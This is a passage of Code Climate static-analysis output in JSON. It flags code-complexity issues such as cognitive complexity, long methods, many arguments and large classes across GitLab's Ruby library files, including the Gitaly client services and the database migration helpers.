will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_commit` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"186f0eba8b7425edc8cc3c73c38cd40a","location":{"path":"lib/gitlab/gitaly_client/commit_service.rb","lines":{"begin":242,"end":262}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `CommitService` has 31 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"49c846fd451fa9152c64a84b18cea747","location":{"path":"lib/gitlab/gitaly_client/commit_service.rb","lines":{"begin":3,"end":429}},"other_locations":[],"remediation_points":2300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `ref_service.rb` has 252 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"eb1efcba78462f496979baf4cb6cd2ad","location":{"path":"lib/gitlab/gitaly_client/ref_service.rb","lines":{"begin":1,"end":327}},"other_locations":[],"remediation_points":1228800,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `RefService` has 31 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"00c5cfab9191c2db4747039325616652","location":{"path":"lib/gitlab/gitaly_client/ref_service.rb","lines":{"begin":3,"end":325}},"other_locations":[],"remediation_points":2300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `repository_service.rb` has 323 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"493989beb71c8d830c2b79d5553c6147","location":{"path":"lib/gitlab/gitaly_client/repository_service.rb","lines":{"begin":1,"end":396}},"other_locations":[],"remediation_points":2251200,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `fetch_remote` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f3aee0aba331f59ab18ffef3792b052a","location":{"path":"lib/gitlab/gitaly_client/repository_service.rb","lines":{"begin":64,"end":81}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `RepositoryService` has 35 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"6ca9b3950e1ce99211058bd24b696cd9","location":{"path":"lib/gitlab/gitaly_client/repository_service.rb","lines":{"begin":3,"end":394}},"other_locations":[],"remediation_points":2700000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `user_squash` has 7 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"3244c060b29a67dfaca14f5fd90c0c69","location":{"path":"lib/gitlab/gitaly_client/operation_service.rb","lines":{"begin":207,"end":207}},"other_locations":[],"remediation_points":525000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `user_commit_files` has 8 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"e11b9bf00977dfd40d466849a02aad7e","location":{"path":"lib/gitlab/gitaly_client/operation_service.rb","lines":{"begin":234,"end":235}},"other_locations":[],"remediation_points":600000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `user_commit_files_request_header` has 8 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"74f8cedbd2e30f093d96c68640b17e2f","location":{"path":"lib/gitlab/gitaly_client/operation_service.rb","lines":{"begin":316,"end":317}},"other_locations":[],"remediation_points":600000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `operation_service.rb` has 284 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"e9b10e91d8aa4aecb2dd40e2ff73151e","location":{"path":"lib/gitlab/gitaly_client/operation_service.rb","lines":{"begin":1,"end":343}},"other_locations":[],"remediation_points":1689600,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `user_create_branch` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f83bdf53147b9d2930979ca6a622f44f","location":{"path":"lib/gitlab/gitaly_client/operation_service.rb","lines":{"begin":48,"end":69}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `user_merge_branch` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"96dce6cec3c6d464fe3b164bf05adf61","location":{"path":"lib/gitlab/gitaly_client/operation_service.rb","lines":{"begin":101,"end":137}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `user_commit_files` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"b324bd9e25781ee4f45ebe63530654b5","location":{"path":"lib/gitlab/gitaly_client/operation_service.rb","lines":{"begin":233,"end":274}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `define_predicate_methods` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1748406e1b1a3efed8bbdbc2f7310efb","location":{"path":"lib/gitlab/fake_application_settings.rb","lines":{"begin":9,"end":19}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `read` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"306bfd1a5668c64b46f9a50ffcb84761","location":{"path":"lib/gitlab/http_io.rb","lines":{"begin":76,"end":100}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `get_chunk` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"718a1c6197d9172beada51e8fb725aa8","location":{"path":"lib/gitlab/http_io.rb","lines":{"begin":147,"end":173}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `HttpIO` has 21 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"f90f3bbe0002c0551d2c102e8d6cc2bb","location":{"path":"lib/gitlab/http_io.rb","lines":{"begin":5,"end":192}},"other_locations":[],"remediation_points":1300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `system_usage_data` has 49 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"e44de166e4765b13674da7e6f1adbb03","location":{"path":"lib/gitlab/usage_data.rb","lines":{"begin":35,"end":85}},"other_locations":[],"remediation_points":1176000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `print_methods` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"74e543934a1cb0119b1cb9bc2bef6f4a","location":{"path":"lib/gitlab/profiler/total_time_flat_printer.rb","lines":{"begin":13,"end":36}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `format_issue_comment_body` has 6 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"4b9885935625732368d27f4d57c09a6b","location":{"path":"lib/gitlab/google_code_import/importer.rb","lines":{"begin":327,"end":327}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `importer.rb` has 283 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"1456110a9f0cea86dbda2fdc6ff8b006","location":{"path":"lib/gitlab/google_code_import/importer.rb","lines":{"begin":1,"end":371}},"other_locations":[],"remediation_points":1675200,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `import_issues` has a Cognitive Complexity of 15 (exceeds 5 allowed). Consider refactoring.","fingerprint":"fda606a33fed0d051037b3e7ec312764","location":{"path":"lib/gitlab/google_code_import/importer.rb","lines":{"begin":82,"end":126}},"other_locations":[],"remediation_points":1150000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `import_issue_comments` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e40d64a7ad3fca74d9f0603fcdfde073","location":{"path":"lib/gitlab/google_code_import/importer.rb","lines":{"begin":146,"end":179}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `format_updates` has a Cognitive Complexity of 19 (exceeds 5 allowed). Consider refactoring.","fingerprint":"627781504f289b64edb3cae5ded46686","location":{"path":"lib/gitlab/google_code_import/importer.rb","lines":{"begin":237,"end":293}},"other_locations":[],"remediation_points":1550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `format_attachments` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3eae70f0804e77646cf183b658337852","location":{"path":"lib/gitlab/google_code_import/importer.rb","lines":{"begin":312,"end":325}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `import_issues` has 33 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"140622e56443443be6d89cf7f8134759","location":{"path":"lib/gitlab/google_code_import/importer.rb","lines":{"begin":82,"end":126}},"other_locations":[],"remediation_points":792000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `import_issue_comments` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"81d77c1a0b5ebc4248e39438a9b784c1","location":{"path":"lib/gitlab/google_code_import/importer.rb","lines":{"begin":146,"end":179}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `format_updates` has 43 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"9b843b25138348d8d9e7cf6df7a2f0ed","location":{"path":"lib/gitlab/google_code_import/importer.rb","lines":{"begin":237,"end":293}},"other_locations":[],"remediation_points":1032000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `full_path` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"200d2aea21e0c3f34efb9b3a8051a82f","location":{"path":"lib/gitlab/database/rename_reserved_paths_migration/v1/migration_classes.rb","lines":{"begin":7,"end":15}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `rank_rows` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"dc13ef2bef6a33cc8bc4e67b71564878","location":{"path":"lib/gitlab/database/median.rb","lines":{"begin":140,"end":174}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `migration_helpers.rb` has 543 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"01e21ae134d30a14bd512652b7a940ab","location":{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":1,"end":1078}},"other_locations":[],"remediation_points":5419200,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `add_timestamps_with_timezone` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c59bbcc4bf6935d5c169f128844c4c91","location":{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":17,"end":40}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `add_concurrent_foreign_key` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ce151ede627cdfdf31c565ade50905ea","location":{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":152,"end":206}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `disable_statement_timeout` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"31b96e31df6242d18aba1d4abf07f1f9","location":{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":240,"end":272}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `update_column_in_batches` has a Cognitive Complexity of 15 (exceeds 5 allowed). Consider refactoring.","fingerprint":"21d13cfd466605197c31d8958201310c","location":{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":323,"end":380}},"other_locations":[],"remediation_points":1150000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `add_column_with_default` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"009915036d7d7932903bc6f766511a5e","location":{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":406,"end":438}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `copy_indexes` has a Cognitive Complexity of 17 (exceeds 5 allowed). Consider refactoring.","fingerprint":"60d019b8234aa4a0d7d445a95ee1e8ae","location":{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":817,"end":859}},"other_locations":[],"remediation_points":1350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `bulk_queue_background_migration_jobs_by_range` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"128bc9f2059885db7d254bdb6a31d4b3","location":{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":972,"end":993}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `add_concurrent_foreign_key` has 32 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"f6243b1ac45a70775392f6137b36e35f","location":{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":152,"end":206}},"other_locations":[],"remediation_points":768000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `update_column_in_batches` has 37 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"6dc99342ecbf79855eb8044b9e00cbdd","location":{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":323,"end":380}},"other_locations":[],"remediation_points":888000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `change_column_type_using_background_migration` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"39133c1e5a2502598dbf0ec8dc0af798","location":{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":593,"end":640}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `rename_column_using_background_migration` has 32 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"fc89feb63b650bd5547ac2ba44210012","location":{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":670,"end":731}},"other_locations":[],"remediation_points":768000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `copy_indexes` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"8b98ee08501009b6bf421b8064689b30","location":{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":817,"end":859}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `fetch_config` has 